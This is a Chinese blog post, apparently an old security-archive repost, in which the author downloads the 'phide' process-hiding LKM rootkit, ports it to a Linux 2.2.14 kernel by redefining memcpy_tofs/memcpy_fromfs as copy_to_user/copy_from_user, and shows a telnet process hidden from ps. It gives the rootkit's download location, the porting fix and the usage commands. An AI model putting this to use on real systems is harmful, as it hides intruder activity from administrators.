[小凤居-安全文献]隐藏进程的LKM后门

alz26

这两天听QUACK说在翻译THC的LKM系列,呵呵,一时心动,也看了看,谁知道一看就停不下来了。。

我开始看的是“操作系统开发者”的翻译稿/FOR LINUX/,谁知道越看越不是味道,在从硬盘里翻出THC的原文,一堆之下。。NND,他们把有危害性的全部省略了。不过,话说回来,对我入门还是很有用的。

理解了一些基本概念后,就想找个现成的来玩玩。THC里面的提到的EXAMPLE我没有仔细看,直接到

PACKETSTROM找了个基本的LKM,功能很简单,就是可以隐藏进程。。准备在自己的2.2.14上看看

下载地 http://packetstorm.securify.com/UNIX/penetration/rootkits/phide.tar.gz拉回来以后,看了看README,是FOR 2.0系列内核的。编译很简单,一路顺风。。。

但是在INSMOD的时候。
[root@gzlinux phide]# insmod phide_mod.o
phide_mod.o: unresolved symbol memcpy_tofs
phide_mod.o: unresolved symbol memcpy_fromfs

我看他的源码中调用了这两个函数
[root@gzlinux phide]# cat phide_mod.c|grep memcpy_tofs
memcpy_tofs(dirp, dirp_kern, tmp);

我个人估计是因为2.2.14的KERNEL里面没有这个FUNCTION,或者是我用的MODULE里的FUNCTI
ON和KERNEL ENCODE的不一样,所以才没有办法RESOLVE,但是我把KERNEL和DMODEVERSIONS都重新定义后
[root@gzlinux phide]# gcc -c -fomit-frame-pointer -O2 -D__KERNEL__ -DMODULE -DM
ODVERSIONS phide_mod.c -include /usr/src/linux-2.2.14/include/linux/modversions
..h
phide_mod.c:10: warning: `__KERNEL__' redefined
*Initialization*:1: warning: this is the location of the previous definition
phide_mod.c:11: warning: `MODULE' redefined
*Initialization*:1: warning: this is the location of the previous definition
[root@gzlinux phide]# insmod phide_mod.o
phide_mod.o: unresolved symbol memcpy_tofs
phide_mod.o: unresolved symbol memcpy_fromfs

还是不行。。。这我可不明白了。。。

仔细翻翻了内核的源码,原来是个只有在2.0下才有的函数,原来的头文件是asm/segment.h.

现在这个函数被copy_to_user替代了。可以看看现在的segment.h,

里面几乎没有任何内容,现在要包含/asm/uaccess.h文件。

现在在2.2内核中找到的memcpy_tofs都是在一些非常老旧

的driver里才出现,其实根本就不能用了。。。。/这里感谢YAWL指点,我对他的XX有如。。。/

呵呵,在这中情况下,只好报着试一试的心态。。改改phide_mod.c

首先加个头文件#include <asm/uaccess.h>

在重新定义一下这两个函数

#define memcpy_fromfs copy_from_user /换成2.2.14内核下的/

#define memcpy_tofs copy_to_user /换成2.2.14内核下的/

呵呵,编译后顺利加载。。:)

下面是实例。。/我在PTS/0上执行LKM,PTS/1上启动想隐藏的进程,这里是TELNET/
[root@gzlinux phide]# ps -a
PID TTY TIME CMD
26094 pts/0 00:00:01 bash
26433 pts/0 00:00:01 ping
26446 pts/1 00:00:00 bash
26468 pts/1 00:00:00 telnet
26472 pts/0 00:00:00 ps

[root@gzlinux phide]# ./phide +26468 /欲隐藏的进程号/
[root@gzlinux phide]# ps -a
PID TTY TIME CMD
26094 pts/0 00:00:01 bash
26433 pts/0 00:00:02 ping
26446 pts/1 00:00:00 bash
26474 pts/0 00:00:00 ps
[root@gzlinux phide]# ./phide -26468
[root@gzlinux phide]# ps -a
PID TTY TIME CMD
26094 pts/0 00:00:01 bash
26433 pts/0 00:00:02 ping
26446 pts/1 00:00:00 bash
26468 pts/1 00:00:00 telnet
26475 pts/2 00:00:00 bash
26498 pts/0 00:00:00 ps
[root@gzlinux phide]#

至此一切PASS。。。

呵呵
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值